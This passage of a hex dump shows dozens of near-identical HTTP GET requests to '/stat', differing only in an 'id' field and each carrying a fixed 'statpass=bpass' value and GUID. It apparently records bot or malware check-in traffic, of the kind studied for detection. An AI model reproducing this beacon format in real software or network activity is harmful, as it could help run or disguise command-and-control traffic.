0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313033 44463526 73746174 70617373   0103DF5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313035 31434226 73746174 70617373   01051CB&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313036 35393226 73746174 70617373   0106592&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313037 39363826 73746174 70617373   0107968&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313038 44334526 73746174 70617373   0108D3E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313041 31323426 73746174 70617373   010A124&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313042 35303926 73746174 70617373   010B509&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313043 38454626 73746174 70617373   010C8EF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313044 43453526 73746174 70617373   010DCE5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313046 30434126 73746174 70617373   010F0CA&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313130 34413026 73746174 70617373   01104A0&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313131 38363726 73746174 70617373   0111867&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313132 43324426 73746174 70617373   0112C2D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313134 30303426 73746174 70617373   0114004&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313135 33434126 73746174 70617373   01153CA&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313136 37383126 73746174 70617373   0116781&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313137 42343726 73746174 70617373   0117B47&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313138 46304526 73746174 70617373   0118F0E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313141 32433526 73746174 70617373   011A2C5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313142 36394226 73746174 70617373   011B69B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313143 41373126 73746174 70617373   011CA71&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313144 45353726 73746174 70617373   011DE57&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313146 32324426 73746174 70617373   011F22D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313230 36303326 73746174 70617373   0120603&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313231 41303826 73746174 70617373   0121A08&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313232 44434626 73746174 70617373   0122DCF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313234 31393526 73746174 70617373   0124195&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313235 35374226 73746174 70617373   012557B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313236 39363126 73746174 70617373   0126961&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313237 44343626 73746174 70617373   0127D46&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313239 31314326 73746174 70617373   012911C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313241 34453326 73746174 70617373   012A4E3&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d383334 32376130   =30&guid=83427a0
0x00000070 (00112)   372d3736 30332d34 6537332d 38326465   7-7603-4e73-82de
0x00000080 (00128)   2d656137 37626631 35396138 3026636f   -ea77bf159a80&co
